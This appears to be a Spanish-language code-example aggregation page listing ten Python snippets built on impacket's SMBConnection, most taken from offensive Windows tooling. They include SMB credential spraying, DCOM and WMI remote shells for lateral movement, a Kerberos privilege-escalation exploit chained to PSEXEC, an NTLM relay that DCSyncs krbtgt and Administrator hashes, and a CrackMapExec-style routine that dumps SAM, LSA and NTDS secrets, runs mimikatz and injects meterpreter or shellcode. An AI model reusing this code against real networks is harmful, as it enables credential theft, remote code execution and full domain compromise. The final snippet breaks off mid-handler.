Ejemplo n.º 1
0
def login(host, args):
    try:
        smbconn = SMBConnection(host, host,
                                timeout=args.timeout)  # throws socket.error
    except Exception as e:
        sys.stdout.write('{} {}\\{} {}\n'.format(
            host, args.domain, args.username + ':' + args.password,
            'ConnectionError'))
        return

    error_code = STATUS_SUCCESS
    try:
        if args.nthash:
            smbconn.login(args.username,
                          '',
                          nthash=args.password,
                          domain=args.domain)
        elif args.lmhash:
            smbconn.login(args.username,
                          '',
                          lmhash=args.password,
                          domain=args.domain)
        else:
            smbconn.login(args.username, args.password, domain=args.domain)
    except impacket.smbconnection.SessionError as e:
        error_code = e.getErrorCode()

    if error_code != STATUS_SUCCESS:
        status = 'LoginError'
        if error_code == STATUS_LOGON_FAILURE:
            status = 'Failure'
            if args.domain != '.' and smbconn.getServerDomain() != '':
                sys.stdout.write('{} {}\\{} {}\n'.format(
                    host, args.domain, args.username + ':' + args.password,
                    status))
                raise DomainLoginError(
                    'Aborting: domain creds are invalid, preventing lockout')
        sys.stdout.write('{} {}\\{} {}\n'.format(
            host, args.domain, args.username + ':' + args.password, status))
        return

    try:
        # for s in smbconn.listShares():
        #     print(s['shi1_netname'][:-1])
        smbconn.connectTree(r'ADMIN$')
        status = 'Success:ADMIN'
    except Exception as e:
        error_code = e.getErrorCode()

    if error_code != STATUS_SUCCESS:
        status = 'ConnectTreeError ' + hex(error_code)
        if smbconn.isGuestSession():
            status = 'Guest'
        elif error_code == STATUS_ACCESS_DENIED:
            status = 'Success'
        elif error_code == STATUS_BAD_NETWORK_NAME:
            # ADMIN$ doesn't exist, probably Samba
            status = 'ShareNameError'

    sys.stdout.write('{} {}\\{} {}\n'.format(
        host, args.domain, args.username + ':' + args.password, status))
    try:
        smbconn.logoff()
    except:
        pass
Ejemplo n.º 2
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0

            if self.__dcomObject == 'ShellWindows':
                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Item', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams,
                                   0, [], [])
                iItem = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                resp = iItem.GetIDsOfNames(('Document', ))
                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                    dispParams, 0, [], [])
                pQuit = None
            elif self.__dcomObject == 'ShellBrowserWindow':
                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                   dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
            elif self.__dcomObject == 'MMC20':
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                   dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
            else:
                logging.fatal('Invalid object %s' % self.__dcomObject)
                return

            iDocument = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))

            if self.__dcomObject == 'MMC20':
                resp = iDocument.GetIDsOfNames(('ActiveView', ))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                        dispParams, 0, [], [])

                iActiveView = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(
                    ('ExecuteShellCommand', ))[0]
                self.shell = RemoteShellMMC20(
                    self.__share, (iMMC, pQuit),
                    (iActiveView, pExecuteShellCommand), smbConnection)
            else:
                resp = iDocument.GetIDsOfNames(('Application', ))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                        dispParams, 0, [], [])

                iActiveView = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(
                    ('ShellExecute', ))[0]
                self.shell = RemoteShell(self.__share, (iMMC, pQuit),
                                         (iActiveView, pExecuteShellCommand),
                                         smbConnection)

            if self.__command != ' ':
                self.shell.onecmd(self.__command)
                if self.shell is not None:
                    self.shell.do_exit('')
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt), e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
Ejemplo n.º 3
0
    def exploit(self):
        if self.__kdcHost is None:
            getDCs = True
            self.__kdcHost = self.__domain
        else:
            getDCs = False

        self.__domainSid, self.__rid = self.getUserSID()
        try:
            self.__forestSid = self.getForestSid()
        except Exception as e:
            # For some reason we couldn't get the forest data. No problem, we can still continue
            # Only drawback is we won't get forest admin if successful
            logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
            self.__forestSid = None

        if getDCs is False:
            # User specified a DC already, no need to get the list
            self.__domainControllers.append(self.__kdcHost)
        else:
            self.__domainControllers = self.getDomainControllers()

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        for dc in self.__domainControllers:
            logging.info('Attacking domain controller %s' % dc)
            self.__kdcHost = dc
            exception = None
            while True:
                try:
                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                            self.__lmhash, self.__nthash, None,
                                                                            self.__kdcHost, requestPAC=False)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash == '' and self.__nthash == '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                            continue
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break

                # So, we have the TGT, now extract the new session key and finish
                asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]

                # If the cypher in use != RC4 there's gotta be a salt for us to use
                salt = ''
                if asRep['padata']:
                    for pa in asRep['padata']:
                        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                            etype2 = decoder.decode(pa['padata-value'][2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
                            salt = etype2['salt'].prettyPrint()

                cipherText = asRep['enc-part']['cipher']

                # Key Usage 3
                # AS-REP encrypted part (includes TGS session key or
                # application session key), encrypted with the client key
                # (Section 5.4.2)
                if self.__nthash != '':
                    key = Key(cipher.enctype,self.__nthash)
                else:
                    key = cipher.string_to_key(self.__password, salt, None)

                plainText = cipher.decrypt(key, 3, cipherText)
                encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
                authTime = encASRepPart['authtime']

                serverName = Principal('krbtgt/%s' % self.__domain.upper(),
                                       type=constants.PrincipalNameType.NT_PRINCIPAL.value)
                tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
                                                                             cipher, sessionKey, authTime)

                # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
                try:
                    tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
                                                                                        self.__kdcHost, tgs, cipher,
                                                                                        sessionKey)
                except KerberosError as e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash == '' and self.__nthash == '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break
                else:
                    # Everything went well, let's save the ticket if asked and leave
                    if self.__writeTGT is not None:
                        from impacket.krb5.ccache import CCache
                        ccache = CCache()
                        ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                        ccache.saveFile(self.__writeTGT)
                    break
            if exception is None:
                # Success!
                logging.info('%s found vulnerable!' % dc)
                break
            else:
                logging.info('%s seems not vulnerable (%s)' % (dc, exception))

        if exception is None:
            TGS = {}
            TGS['KDC_REP'] = tgsCIFS
            TGS['cipher'] = cipher
            TGS['oldSessionKey'] = oldSessionKeyCIFS
            TGS['sessionKey'] = sessionKeyCIFS

            from impacket.smbconnection import SMBConnection
            if self.__targetIp is None:
                s = SMBConnection('*SMBSERVER', self.__target)
            else:
                s = SMBConnection('*SMBSERVER', self.__targetIp)
            s.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, TGS=TGS,
                            useCache=False)

            if self.__command != 'None':
                executer = PSEXEC(self.__command, username, domain, s, TGS, self.__copyFile)
                executer.run(self.__target)
Ejemplo n.º 4
0
 def test_aliasconnection(self):
     smb = SMBConnection('*SMBSERVER', self.machine, preferredDialect=self.dialects, sess_port=self.sessPort)
     smb.login(self.username, self.password, self.domain)
     smb.listPath(self.share, '*')
     smb.logoff()
Ejemplo n.º 5
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                                 wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
                                                       NULL)
            iWbemLevel1Login.RemRelease()

            win32Process, _ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()
Ejemplo n.º 6
0
    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1]
                  )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
            auth_data = respToken2['ResponseToken']
        else:
            auth_data = authenticateMessageBlob

        remoteOps = None
        try:
            signingkey = self.netlogonSessionKey(serverChallenge,
                                                 authenticateMessageBlob)
            # Something failed
            if signingkey == 0:
                return
            self.session.set_session_key(signingkey)
            authenticateMessage = NTLMAuthChallengeResponse()
            authenticateMessage.fromString(auth_data)

            # Recalc mic
            authenticateMessage['MIC'] = b'\x00' * 16
            if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
                authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
            newmic = ntlm.hmac_md5(
                signingkey, self.negotiateMessage + self.challenge.getData() +
                authenticateMessage.getData())
            authenticateMessage['MIC'] = newmic
            self.session.sendBindType3(authenticateMessage.getData())

            # Now perform DRS bind
            # This code comes from secretsdump directly
            request = drsuapi.DRSBind()
            request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
            drs = drsuapi.DRS_EXTENSIONS_INT()
            drs['cb'] = len(drs)  #- 4
            drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
                             drsuapi.DRS_EXT_STRONG_ENCRYPTION
            drs['SiteObjGuid'] = drsuapi.NULLGUID
            drs['Pid'] = 0
            drs['dwReplEpoch'] = 0
            drs['dwFlagsExt'] = 0
            drs['ConfigObjGUID'] = drsuapi.NULLGUID
            # I'm uber potential (c) Ben
            drs['dwExtCaps'] = 0xffffffff
            request['pextClient']['cb'] = len(drs)
            request['pextClient']['rgb'] = list(drs.getData())
            resp = self.session.request(request)

            # Initialize remoteoperations
            if self.serverConfig.smbuser != '':
                smbConnection = SMBConnection(self.target.netloc,
                                              self.target.netloc)
                smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
                self.serverConfig.smblmhash, self.serverConfig.smbnthash)
                remoteOps = RemoteOperations(smbConnection, False)
            else:
                remoteOps = PatchedRemoteOperations(None, False)

            # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
            drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()

            # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
            ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
                len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
            drsExtensionsInt.fromString(ppextServer)

            if drsExtensionsInt['dwReplEpoch'] != 0:
                # Different epoch, we have to call DRSBind again
                LOG.debug(
                    "DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again"
                    % drsExtensionsInt['dwReplEpoch'])
                drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
                request['pextClient']['cb'] = len(drs)
                request['pextClient']['rgb'] = list(drs.getData())
                resp = self.session.request(request)

            remoteOps._RemoteOperations__hDrs = resp['phDrs']

            domainName = authenticateMessage['domain_name'].decode('utf-16le')
            # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
            resp = drsuapi.hDRSDomainControllerInfo(
                self.session, remoteOps._RemoteOperations__hDrs, domainName, 2)
            # LOG.debug('DRSDomainControllerInfo() answer')
            # resp.dump()

            if resp['pmsgOut']['V2']['cItems'] > 0:
                remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp[
                    'pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
            else:
                LOG.error("Couldn't get DC info for domain %s" % domainName)
                raise Exception('Fatal, aborting')
            remoteOps._RemoteOperations__drsr = self.session

            # Initialize NTDSHashes object
            if self.serverConfig.smbuser != '':
                # We can dump all :)
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=None,
                                printUserStatus=False)
                nh.dump()
            else:
                # Most important, krbtgt
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=domainName + '/krbtgt',
                                printUserStatus=False)
                nh.dump()
                # Also important, DC hash (to sync fully)
                av_pairs = authenticateMessage['ntlm'][44:]
                av_pairs = AV_PAIRS(av_pairs)
                serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode(
                    'utf-16le')
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=domainName + '/' + serverName + '$',
                                printUserStatus=False)
                nh.dump()
                # Finally, builtin\Administrator providing it was not renamed
                try:
                    nh = NTDSHashes(None,
                                    None,
                                    isRemote=True,
                                    history=False,
                                    noLMHash=False,
                                    remoteOps=remoteOps,
                                    useVSSMethod=False,
                                    justNTLM=False,
                                    pwdLastSet=False,
                                    resumeSession=None,
                                    outputFileName='hashes',
                                    justUser=domainName + '/Administrator',
                                    printUserStatus=False)
                    nh.dump()
                except Exception:
                    LOG.error('Could not dump administrator (renamed?)')

            return None, STATUS_SUCCESS
        except Exception as e:
            traceback.print_exc()
        finally:
            if remoteOps is not None:
                remoteOps.finish()
Ejemplo n.º 7
0
    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
        from getpass import getpass

        password = getpass("Password:")

    if options.aesKey is not None:
        options.k = True

    if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash = ''
        nthash = ''

    try:
        smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))#, preferredDialect=SMB_DIALECT)
        if options.k is True:
            smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip)
        else:
            smbClient.login(username, password, domain, lmhash, nthash)

        if smbClient.getDialect() != SMB_DIALECT:
            # Let's disable SMB3 Encryption for now
            smbClient._SMBConnection._Session['SessionFlags'] &=  ~SMB2_SESSION_FLAG_ENCRYPT_DATA
        pipeDream = PIPEDREAM(smbClient, options)
        pipeDream.run()
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(str(e))
Ejemplo n.º 8
0
    def _get_groupsxml(self, groupsxml_path, gpo_display_name):
        gpo_groups = list()

        content_io = StringIO()

        groupsxml_path_split = groupsxml_path.split('\\')
        gpo_name = groupsxml_path_split[6]
        target = groupsxml_path_split[2]
        share = groupsxml_path_split[3]
        file_name = '\\'.join(groupsxml_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        # TODO: kerberos login
        smb_connection.login(self._user, self._password, self._domain,
                             self._lmhash, self._nthash)

        smb_connection.connectTree(share)
        try:
            smb_connection.getFile(share, file_name, content_io.write)
        except SessionError:
            return list()

        content = content_io.getvalue().replace('\r', '')
        groupsxml_soup = BeautifulSoup(content, 'xml')

        for group in groupsxml_soup.find_all('Group'):
            members = list()
            memberof = list()
            local_sid = group.Properties.get('groupSid', str())
            if not local_sid:
                if 'administrators' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-544'
                elif 'remote desktop' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-555'
                else:
                    local_sid = group.Properties['groupName']
            memberof.append(local_sid)

            for member in group.Properties.find_all('Member'):
                if not member['action'].lower() == 'add':
                    continue
                if member['sid']:
                    members.append(member['sid'])
                else:
                    members.append(member['name'])

            if members or memberof:
                # TODO: implement filter support (seems like a pain in the ass,
                # I'll do it if the feature is asked). PowerView also seems to
                # have the barest support for filters, so ¯\_(ツ)_/¯

                gpo_group = GPOGroup(list())
                setattr(gpo_group, 'gpodisplayname', gpo_display_name)
                setattr(gpo_group, 'gponame', gpo_name)
                setattr(gpo_group, 'gpopath', groupsxml_path)
                setattr(gpo_group, 'members', members)
                setattr(gpo_group, 'memberof', memberof)

                gpo_groups.append(gpo_group)

        return gpo_groups
Ejemplo n.º 9
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(
                string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
                IID_IDispatch)
            iMMC = IDispatch(iInterface)

            resp = iMMC.GetIDsOfNames(('Document', ))

            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0
            resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                               dispParams, 0, [], [])

            iDocument = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))
            resp = iDocument.GetIDsOfNames(('ActiveView', ))
            resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                    dispParams, 0, [], [])

            iActiveView = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))
            pExecuteShellCommand = iActiveView.GetIDsOfNames(
                ('ExecuteShellCommand', ))[0]

            pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]

            self.shell = RemoteShell(self.__share, (iMMC, pQuit),
                                     (iActiveView, pExecuteShellCommand),
                                     smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
                if self.shell is not None:
                    self.shell.do_exit('')
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt), e:
            #import traceback
            #traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
Ejemplo n.º 10
0
def connect(host):
    '''
        My imagination flowed free when coming up with this name
        This is where all the magic happens
    '''

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        print_status(u"{}:{} is running {} (name:{}) (domain:{})".format(host, settings.args.port, smb.getServerOS(), s_name, domain))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:

            smb = smart_login(host, smb, domain)
            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump('{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(host,
                                     settings.args.port,
                                     'logs/{}'.format(host),
                                     smb,
                                     settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds,
                                     settings.args.ntds_history,
                                     settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump('{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(settings.args.user,
                                      settings.args.passwd,
                                      domain,
                                      '{}/SMB'.format(settings.args.port), 
                                      settings.args.hash, 
                                      settings.args.rid_brute)
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash,
                                     settings.args.kerb,
                                     settings.args.aesKey)

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.enable()

            if settings.args.disable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.disable()

            if settings.args.service:
                service_control = SVCCTL(settings.args.user, 
                                         settings.args.passwd, 
                                         domain,
                                         '{}/SMB'.format(settings.args.port),
                                         settings.args.service, 
                                         settings.args)
                service_control.run(host)

            if settings.args.command:
                EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)

            if settings.args.pscommand:
                EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
